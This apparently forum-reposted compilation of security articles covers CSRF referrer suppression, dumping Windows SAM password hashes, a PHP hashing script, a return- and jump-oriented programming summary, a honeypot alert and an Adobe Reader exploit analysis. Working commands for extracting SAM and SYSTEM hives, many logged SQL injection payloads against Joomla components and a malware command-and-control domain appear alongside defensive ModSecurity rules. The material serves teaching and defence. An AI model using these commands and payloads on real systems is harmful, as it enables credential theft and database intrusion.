javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements! For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject). I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') leaks the referrer. Conclusion If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens... For further information: - Robust Defenses for Cross-Site Request Forgery - Cross-Site Request Forgery (CSRF) - OWASP - Redirection Methods - html5security Sursa: Bye bye, Referrer...

[h=1]Dump Windows password hashes efficiently - Part 1[/h] Slightly modified definition from Wikipedia: The Security Accounts Manager (SAM) is a registry file in Windows NT and later versions until the most recent Windows 7. It stores users' passwords in a hashed format (in LM hash and NTLM hash). Since a hash function is one-way, this provides some measure of security for the storage of the passwords. Generally, dumping operating system users' password hashes is a common action following a compromise of a machine: getting access to the password hashes might open the doors to a variety of attacks including, but not limited to, authenticate with the hash over SMB to other systems where passwords are reused, password policy analysis and pattern recognition, password cracking, etc. Depending on the type of access that you have got to the target, you can retrieve the password hashes from SAM in different ways. Physical access Given physical access to the system, typically during a laptop assessment or a successful social engineering engagement, the preferred way to safely dump the password hashes is to power off the machine, enter the BIOS menu at power-on time, review the boot order to allow boot from the optical drive and USB drive before local hard-disk, save the settings and reboot the system with your favourite GNU/Linux live distribution CD or USB stick. Two widely known tools to dump the local users' hashes from the SAM file, given the Windows file system block file, are bkhive and samdump2: bkhive - dumps the syskey bootkey from a Windows system hive. samdump2 - dumps Windows 2k/NT/XP/Vista password hashes. These tools are generally included in many GNU/Linux live distributions. If they're not, make sure to bring a copy of them with you. Usage: # bkhivebkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Usage:bkhive systemhive keyfile # samdump2samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Usage:samdump2 samhive keyfile Example of retrieving the SAM hashes from a Windows partition /dev/sda1: # mkdir -p /mnt/sda1# mount /dev/sda1 /mnt/sda1 # bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt # samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt In the event that you have not got bkhive or samdump2 with you, you can fall-back to copy the SYSTEM and SAM files from /mnt/sda1/Windows/System32/config to your USB stick and import them to any tool that is able to extract the SAM hashes from them: Cain & Abel, creddump and mimikatz are some available tools. Bypass login prompt If you are looking into bypassing the login prompt rather than dumping users' password hashes, some smart people have came up with innovative approaches: BootRoot is a project presented at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh, as an exploration of technology that custom boot sector code can use to subvert the Windows kernel as it loads. The eEye BootRootKit is a boot sector-based NDIS backdoor that demonstrates the implementation of this technology. SysRQ2 is a bootable CD image that allows a user to open a fully privileged (SYSTEM) command prompt on Windows 2000, Windows XP, and Windows Server 2003 systems by pressing Ctrl+Shift+SysRq at any time after startup. It was first demonstrated at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh as an example of applied eEye BootRoot technology. Use the "create CD from ISO image" feature of your preferred CD burning software to create a bootable SysRq CD. Kon-Boot is an prototype piece of software which allows to change contents of a linux kernel and Windows kernel on the fly (while booting). In the current compilation state it allows to log into a linux system as root user without typing the correct password or to elevate privileges from current user to root. For Windows systems it allows to enter any password protected profile without any knowledge of the password. Password reset Alternatively you can boot the machine with the bootdisk live CD or USB stick and use the chntpw utility to reset any Windows local user's credentials. Post-exploitation scenario The typical scenario here is that you have compromised a Windows machine by any means and have got shell access as an administrative user. Firstly, you need to escalate your privileges to SYSTEM user. A simple way is to use Sysinternals' PsExec utility: C:\>psexec.exe -i -s cmd.exe Although, there are several other techniques too, but this is outside of the scope of this post. Legacy techniques On Windows NT and Windows 2000 systems you can use MSbackup utility part of the MS-DOS subsystem: Backup the system state into a file locally on the machine you have compromised, then using MSbackup again, restore the system state stuff to a local directory without preserving the security. Once complete, you will have the SAM and SYSTEM files. You need about 280Mb for the initial backup - typical for a Windows 2000 with current service packs and hot fixes. Another solution is to use regback.exe part of the Windows 2000 Resource Kit Tools. This is slightly easier as it only dumps the specific files: C:\>regback.exe C:\backtemp\SAM machine samC:\>regback.exe C:\backtemp\SYSTEM machine system If you cannot get regback.exe to work, on Windows XP and above systems use regedit.exe or reg.exe. Using reg.exe: C:\>reg.exe save HKLM\SAM samThe operation completed successfully C:\>reg.exe save HKLM\SYSTEM sys The operation completed successfully Using regedit.exe: Execute regedit.exe from Start / Run prompt. Open up Computer\HKEY_LOCAL_MACHINE and right-click the SAM section and select Export. Change the Save as type setting to Registry Hive Files and save as SAM. Same steps with SYSTEM hive. Lastly, you can also get the SAM and SYSTEM files from C:\Windows\repair\. Although this directory contains outdated copies of the original C:\Windows\System32\config\ files so it might not reflect the current users' credentials. Volume Shadow Copies technique This technique is fairly recent and was first illustrated by Tim Tomes. It consists of abusing the Volume Shadow Copies functionality in modern Windows operating systems to access protected system files like C:\Windows\System32\config's SAM and SYSTEM. You can use the Volume Shadow Copy Management command line interface, vssown, to leverage this technique as follows. List shadow copies: C:\>cscript vssown.vbs /listMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. SHADOW COPIES============= As expected, no shadow copies initially. Verify the status of the Volume Shadow Service (VSS): C:\>cscript vssown.vbs /statusMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] Stopped C:\>cscript vssown.vbs /modeMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] VSS service set to 'Manual' start mode. In this case, once we are done, we need to restore it to the initial state (Stopped). Create a new shadow copy: C:\>cscript vssown.vbs /createMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] Attempting to create a shadow copy. Verify that the shadow copy has been created: C:\>cscript vssown.vbs /listMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. SHADOW COPIES============= [*] ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853} [*] Client accessible: True [*] Count: 1 [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 [*] Differnetial: True [*] Exposed locally: False [*] Exposed name: [*] Exposed remotely: False [*] Hardware assisted: False [*] Imported: False [*] No auto release: True [*] Not surfaced: False [*] No writers: True [*] Originating machine: LAPTOP [*] Persistent: True [*] Plex: False [*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5} [*] Service machine: LAPTOP [*] Set ID: {018D7854-5A28-42AE-8B10-99138C37112F} [*] State: 12 [*] Transportable: False [*] Volume name: \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\ You need to take note of the Device object value for the next step and the ID for the cleanup step. Pull the following files from a shadow copy: C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM . You have just copied over SAM and SYSTEM files from the shadow copy to the C:\ root folder. Cleanup: C:\>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853} Microsoft ® Windows Script Host Version 5.8Copyright © Microsoft Corporation. All rights reserved. [*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853} Eventually, restore to original Stop status: C:\>cscript vssown.vbs /stop Microsoft ® Windows Script Host Version 5.8Copyright © Microsoft Corporation. All rights reserved. [*] Signal sent to stop the VSS service. In-memory technique The concept behind in-memory dump of SAM hashes it to inject a DLL into the LSASS system process or, generally speaking, parsing the memory for specific patterns and inspect these memory pages' content. The former action can lead to a Blue Screen of Death (BSoD) condition following a crash of the LSASS process therefore this action is not recommended on production environments: prefer registry hive copy (regback.exe and reg.exe/regedit.exe) and Volume Shadow Copies techniques instead. Nevertheless, in some specific instances, the in-memory technique is required. The most widely known standalone tool to dump SAM hashes is probably fgdump, the successor of pwdump6, both tools developed by the foofus team. The main advantage of fgdump over pwdump6 is that it works on Windows Vista and later versions. Although, I have seen them both failing under some circumstances. More reliable tools include pwdump7 from Andres Tarasco and the gsecdump from TrueSec. The former works on both 32-bit and 64-bit systems across all versions of Windows, but has some problems when run on domain controllers and the latter does not work on 64-bit systems, but is reliable against modern Windows operating systems including Windows Server 2008 domain controllers 32-bit. Despite not working on 64-bit systems, another popular and reliable tool is PWDumpX by Reed Arvin. The Metasploit Framework also has its own post-exploitation modules, Meterpreter built-in command and dated Meterpreter script to dump the SAM hashes. Details on how these pieces of code work within the framework and which techniques they implement can be found on these blog posts by HD Moore. Needless to say that there are more options and knowledge of which one to use within the target environment is important. In order to facilitate this task, I have listed the relevant tools, their capabilities, where they do work and, most importantly, where they are known to fail on this spread-sheet. Posted Yesterday by Bernardo Damele A. G. Sursa: http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html

[h=2]Hasher V1.1[/h] Posted Dec 3rd, 2010 Author isseu Un script php sencillo, pero útil, muy parecido a el típico sneak pero solo dedicado a hashes. Con 35 hashes, que vienen insertos en php (No hay muchos créditos para mi, sino para el equipo de php) Live Demo Hash Soportados: md4 md5 sha1 sha256 sha384 sha512 ripemd128 ripemd160 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru gost adler32 crc32 crc32b haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5 <?php /*********************************************************************** * Crypto Hasher.php - v 1.0 - 07/07/2010 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * * Changelog * ========= * V 1.0 07/07/2010 * - Usados Todos los hash de librerias PHP + Md5 + sha1 + crypt + etc * V 1.1 17/09/2011 * - Retoques *************************************************************************/ $version='1.1'; ?> <center> <?php if(isset($_POST['submit'])) { $text = $_POST['text']; $text = urldecode(stripslashes($text)); $orig_text=htmlentities($text); $algs=hash_algos(); if(in_array($_POST['cryptmethod'],$algs)){ $text=hash($_POST['cryptmethod'],$text); }else{ echo "<p>Encriptacion no Soportada.</p><br>\n"; } $text = htmlentities($text); echo("<br><table><tr><td><b>Value</b></td><td>".htmlentities($_POST['cryptmethod'])."(\"".$orig_text."\")</td></tr>\n"); echo("<tr><td><b>Data</b></td><td>$text</td></tr></table><br>\n"); } ?> <h2><?php echo $title;?></h2> <!-- begin form --> <form action="<?php echo($_SERVER['PHP_SELF']); ?>" method="post"> <textarea name="text" rows="10" cols="70" name="Phrase" id="Phrase"><?php if (isset($orig_text)) { echo($orig_text); } ?></textarea><br /> <select name="cryptmethod"> <?php $hashs=hash_algos(); sort($hashs); foreach($hashs as $a){ ?><option value="<?php echo $a;?>"><?php echo $a;?></option><?php } ?> </select><br /> <input type="submit" name="submit" value="OK" /> <input type="reset" value="Clear" onclick="document.Phrase.value=''"/> </form> <!-- end form --> <!-- begin footer; it would be nice if you would leave this on. --> <p> <font size="1"> Crypt Sneak <?php echo($version); ?><br /> Creado por <a href="http://www.isseu.com">Isseu</a>, © 2011<br> Download script <a href="http://www.isseu.com/hasher-v1-1/">here</a></font> </p> </center> Descarga: hasher.php Sursa: Hasher V1.1 | Isseu

[h=1]OWASP AJAX Crawling Tool[/h] [TABLE=width: 100%, align: left] [TR] [TD=colspan: 2]Name: OWASP AJAX Crawling Tool (home page) [/TD] [/TR] [TR] [TD=colspan: 2] Purpose: A tool which will automate the crawling of AJAX applications. It can be daisy-chained with other proxies (like ZAP or Burpe) to allow the functionality of those tools to be used on aspects of a web app that traditional spidering tools will miss. Here is a demo of the tool so far: [url= ] [/TD] [/TR] [TR] [TD=colspan: 2] License: GNU GPL v3 Project Leader(s): Skyler Onken Download: http://code.google.com/p/fuzzops-ng/downloads/list Sursa: https://www.owasp.org/index.php/OWASP_AJAX_Crawling_Tool [/TD] [/TR] [/TABLE]

[h=2]From ROP to JOP[/h][h=1]Marco Ramilli[/h] Researchers from North Carolina State University and National University of Singapore presented an interesting paper to ASIACCS11 titled: "Jump-Oriented Programming: A New Class of Code-Reuse Attack". The previous image (click on it to make bigger), taken from the original paper, shows the differences between the well known Return Oriented Programming and the new Jump Oriented Programming. As in ROP, a jump-oriented program consists of a set of gadget ad- dresses and data values loaded into memory, with the gadget addresses being analogous to opcodes within a new jump- oriented machine. In ROP, this data is stored in the stack, so the stack pointer esp serves as the “program counter” in a return-oriented program. JOP is not limited to using esp to reference its gadget addresses, and control flow is not driven by the ret instruction. Instead, JOP uses a dispatch table to hold gadget addresses and data. The “program counter” is any register that points into the dispatch table. Control flow is driven by a special dispatcher gadget that executes the sequence of gadgets. At each invocation, the dispatcher advances the virtual program counter, and launches the as- sociated gadget. This new way to see reusable code exploitation makes the use of three main actors: (1) the dispatcher, which has to hijack the control flow by jumping to different entries on the dispatch table, (2) the dispatch table which has to wrap out gadgets addresses and data/padding, and finally (3) the gadget catalog, which contains the effective code to be executed. Gadgets are not terminating with RET as we were accustomed, but with JMP to the dispatcher. A dispatcher example could be: add %ecx, 4 jmp %[ecx] Each time it is executed it jumps to the next gadget (+4 bytes) through the dispatch table (base address on %ecx). Each time an addressed gadget is executed it ends with a jump to the dispatcher, in this way a jumping chain is built. The paper follows on describing a MOC example and providing algorithms to find JOP gadgets. I did like this reading and I do suggest it to all the interested security guys that are reading my post, but I have some issues on believing the real implementation of the dispatcher. As you might see the dispatcher increases the jump offset by a fixed step, this assumes that the respective gadgets don't use data or at least use a fixed number of data (variables). This is highly impractical in a real exploitation scenario in which the attacker needs many different gadgets which use respectively different quantity of data. I have made here a simple explanation to what I mean. Download: http://www.csc.ncsu.edu/faculty/jiang/pubs/ASIACCS11.pdf Sursa: Marco Ramilli's Blog: From ROP to JOP

[Honeypot Alert] SQL Injection Scanning Update - Filter Evasions Detected Thursday, 15 December 2011 As we reported in the previous [Honeypot Alert] WordPress/Joomla/Mambo SQL Injection Scanning Detected alert - we have identified an increase in mass SQL Injection scanning targeting various community components. While this scanning is still ongoing, we have identified a slight variation if the attack methodology used. Here are examples from today's web server logs: GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_acstartseite&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_acteammember&Itemid=121&lang=en&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C0x33633273366962%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_agency&task=view&aid=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_bidding&id=-200%2F%2A%2A%2FuNiOn%2F%2A%2A%2FALL%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_blog&task=viewdetails&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_book&controller=listtour&task=showTour&cid[]=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_comp&task=view&cid=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_departments&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_gigfe&task=style&styletype=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_hezacontent&view=item&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C6%2C0x33633273366962%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_include&lang=en_GB&Itemid=50&ID_NLE=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_jeeventcalendar&template=system&view=event&Itemid=155&event_id=-1%22%2F%2A%2A%2FuNiOn%2F%2A%2A%2FALL%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_mambads&Itemid=39&func=view&cacat=33&casb=1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C0x33633273366962%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_nfnaddressbook&Itemid=61&action=viewrecord&record_id=-4%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_party&view=party&task=details&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_personal&pid=56&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_products&op=category_details&intCategoryId=-222%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_products&op=category_details&intCategoryId=-222%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_route&routing&kid=-35022%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_science&view=science&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_start&task=main&mitID=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_teacher&view=teacher&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_yanc&Itemid=75&listid=-2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C2%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 Can you spot the difference in the SQL Injection payloads? Mixed-Case Attack Payloads The attackers are now using mixed-case in the SQL commands. GET /index.php?option=com_acprojects&page=7&lang=de& Itemid=null and 1=2%2F%2A%2A%2F[B]uNiOn[/B]%2F%2A%2A%2F[B]sELeCt[/B]%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2F[B]fRoM[/B]%2F%2A%2A%2Fjos_users-- HTTP/1.1 The purpose of mixing case of these attack payloads is to potentially evade any poorly constructed input validation blacklist filters. Blacklist Filtering Blacklist filtering is often used as a part of input validation in order to easily block known back payloads. Here is a common blacklist filtering question posed to the community about preventing SQL Injection: While this person has correctly specified a number of key SQL functions used in SQL Injection attacks, the error of ommision in this case is that the regular expression is assuming that the payloads will be in lowercase format. As we have seen in the honeypot log examples above, attackers can and will use mixed case as it is functionally equivalent code to the database. When writing blacklist filters, care should be taken to normalize data to prevent this type of evasion. In the OWASP ModSecurity Core Rule Set, we use two different techniques to handle mixed-case evasions: Transformation Functions Many rules use the "t:lowercase" trasformation function to change all payloads to lowercase before applying the operator check. SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@pm select show top distinct from dual where group by order having limit offset union rownum as (case" "phase:2,id:'981300',t:none,t:urlDecodeUni,t:removeCommentsChar,[B]t:lowercase[/B],nolog,pass,nolog,setvar:'tx.sqli_select_statement=%{tx.sqli_select_statement} %{matched_var}'" While this process works, it does incur a performance hit in latency. Ignore Case RegEx Flags The other option is to modify the PCRE regular expression rule itself and apply the "IGNORE_CASE" modifier flag. In ModSecurity, this is accomplished by using one of the following syntaxs: (?i)REGEX [LIST] [*]"(?i)(var[^=]+=\s*unescape\s*;)" [/LIST] (?i:REGEX) [LIST] [*]"(?i:<\s*IFRAME\s*?[^>]*?src=\"javascript:)" [/LIST] If you are using any blacklist filtering as part of input validation, I highly suggest you verify how you are handling mixed-case payloads. SQL Injection Prevention While blacklist filtering has it uses, it should not be used as the only method of preventing any attacks. Whitelist filtering of input is highly recommended in order to ensure that data is of the correct size, character sets and format. For SQL Injection, it is recommended that all developers review the OWASP SQL Injection Prevention Cheatsheet which has excellent guidance on properly constructing SQL queries. Sursa: [Honeypot Alert] SQL Injection Scanning Update - Filter Evasions Detected - SpiderLabs Anterior

[h=1]Inside Adobe Reader Zero-Day Exploit CVE 2011-2462[/h] Wednesday, December 14, 2011 at 12:26pm by Chintan Shah Recently a critical vulnerability has been identified in Adobe Reader X and Adobe Acrobat X Versions 10.1.1 and earlier for Windows and Mac OS, Reader 9.4.6 and Reader 9.x Versions for Unix. This zero-day vulnerability (CVE-2011-2462) could allow an attacker to execute arbitrary code and silently take the control of a victim’s machine. This flaw is currently being exploited in the wild. Adobe released a patch on December 12. McAfee researchers analyzed the exploit (the sample circulating in the wild) and figured out how the vulnerability is exploited and identified the malicious binary, which allows an attacker to take the control of the system. Using the MD5 algorithm we found a hash value of b025b06549caae5a7c1d23ac1d014892. The technique used in this exploit has been known to researchers for ages. Here’s what we found as output when we ran the PDFiD tool against this exploit. Looking at the output, we can immediately make out what this exploit would contain. Like many other exploits in the wild, this document uses the techniques of /JavaScript and /OpenAction to launch its malicious JavaScript. The combination of both of these techniques would make this document suspicious to any researcher. /JS and /JavaScript indicates that this PDF document contains the JavaScript. /OpenAction indicates the action to be performed automatically when the document is viewed. Let’s take the deeper look at the object structure of the PDF and find out what is interesting. Object Analysis of the PDF document Object 1 contains the author, email, and the web–a kind of meta information. Object 4 has an /OpenAction reference to object 14, which seems particularly interesting. Let’s take a look at what is in the referenced object. Object 14, as seen above, has the stream link to object 15, which contains the actual compressed JavaScript. This is the malicious JavaScript that is encoded twice, first with ASCIIHexDecode and then with FlateDecode. These stream filters will indicate to Reader how to decode the streams while opening the document. This combination of stream filters is widely used in exploits to compress the code. We’ll take a look at the JS code a little later in this analysis. In the meantime, let’s move further into the object structure analysis of the PDF. Object 11 contains the stream link to Object 10, as seen below. This stream link contains the Flate-encoded 3D Annotations data that is to be Flate decoded and displayed while the Reader document is rendered. According to the Adobe 3D Annotations documentations available here, 3DD entry of the Annotations data specifies the Flate-encoded data stream containing the U3D data. That’s exactly what we see in Object 10, as shown below. This U3D data is likely to cause memory corruption and trigger the vulnerability. Object 16 is of special interest to us. Let’s see how this object looks. This object does not have any references and contains the stream that is supposed to be Flate encoded. This stream contains the malicious XORed executable that is dropped after successful exploitation. Let’s see if we can figure out the XOR key. The executable is XORed by 0×12. Looks like this stream wasn’t Flate encoded but rather simply XORed to embed the malicious file within. This technique is normally used in exploits to hide the malicious code and bypass AV detections. Let’s take a look at the decoded JS code from Object 15 to understand what it does. This code checks for supposedly nonexistent versions of Reader and apparently enters an infinite loop if the version comes out to be greater than 10.0. The code appears to use a heap-spray technique to exploit this vulnerability and execute the shellcode. The end of this code checks for the Windows platform and sets the document to page 2 if it is running on Windows and will render the 3D data specified by the U3D file–causing the corruption. The heap-spray function in the JS code looks like this: The last function call in the preceding figure allocates the memory and fills up the heap as seen below: Launching this exploit on Windows with Reader 9.4.6 installed will crash and open the new document “2012 Federal Employee Pay Calender.pdf.” It spawns the new process pretty.exe and finally injects WSE4EF1.TMP into the iexplore.exe process, which connects to the control server. Looking at pretty.exe, we see that it looks for outlook.exe, iexplore.exe, and firefox.exe. It then injects the code into whichever process it finds open on the victim’s machine. Network Communications Once the code is injected into any of these open processes, a connection is made to the domain prettylikeher.com (IP: 72.30.2.43, which was resolved at execution) on port 443. Assuming that it must be using SSL for control, we hooked the WinInet.SecureSend and WinInet.SecureReceive APIs to check what was sent as the encrypted request. We found the following clear-text decrypted traffic: The server responded with HTTP 301. The location header had the HTTP link. Next the HTTP GET request initiated as shown below. The URI query string contains the hostname of the victim’s machine appended with the IP address. The SSL and HTTP requests turned out to be the same. Analysis of the Injected DLL WSE4EF1.TMP Looking at the injected DLL, the following code forms the HTTP GET request along with the URI query parameters: This DLL also seems be virtual-machine aware. While analyzing the code, we came across the VM check that is performed via the SIDT instruction. SIDT FWORD PTR SS:[EBP-8] EAX, DWORD PTR SS:[EBP-6] CMP EAX, 8003F400 JBE SHORT WSE4EF1.10001C88 